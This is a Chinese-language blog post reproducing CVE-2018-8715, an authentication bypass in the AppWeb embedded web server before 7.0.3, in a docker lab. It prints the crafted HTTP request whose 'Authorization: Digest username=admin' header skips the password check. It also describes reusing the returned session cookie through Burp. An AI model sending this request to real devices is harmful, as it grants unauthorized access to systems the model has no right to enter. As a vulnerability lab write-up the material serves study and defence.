AppWeb 身份验证绕过漏洞 (CVE-2018-8715)

发布于 2021-09-20  125 次阅读


AppWeb是基于开源 GPL 协议的嵌入式 Web 服务器,由 Embedthis Software LLC 开发和维护。 它是用 C/C++ 编写的,几乎可以在任何现代操作系统上运行。


它旨在为嵌入式设备提供一个 Web 应用程序容器。

AppWeb可以配置认证,包括以下三种认证方式:

  • basic,传统的HTTP基本认证
  • digest,改进了 HTTP 基本身份验证。 在此模式下,Cookie 将用于身份验证而不是 Authorization标题。
  • form, 基于 HTML 的表单认证

在7.0.3之前的Appweb版本中,存在与authCondition函数相关的逻辑缺陷 http/httpLib.c. 使用伪造的 HTTP 请求,可以绕过身份验证 formdigest登录类型。

漏洞环境

通过docker-compose启动 Appweb 7.0.1 服务器 digest通过执行以下命令进行身份验证:

docker-compose up -d

访问 http://your-ip:8080,您需要输入您的帐户密码。

漏洞复现

利用该漏洞需要知道一个已存在的用户名(漏洞局限性),当前用户名是 admin,构造头Authorization: Digest username=admin,并发送数据包绕过验证,因此您可以使用以下请求绕过身份验证:

GET / HTTP/1.1
Host: example.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Digest username=admin

如您所见,由于我们没有传入密码字段,因此服务器错误发生在 200 status code和会话设置标题:

返回200 ok,并返回了set-cookies,成功绕过!

通过burp,发送POST请求,添加session到HTTP 头信息和用户名后,发送数据包。

成功绕过认证:


我从未觉得繁琐,说浪漫些,我很爱你。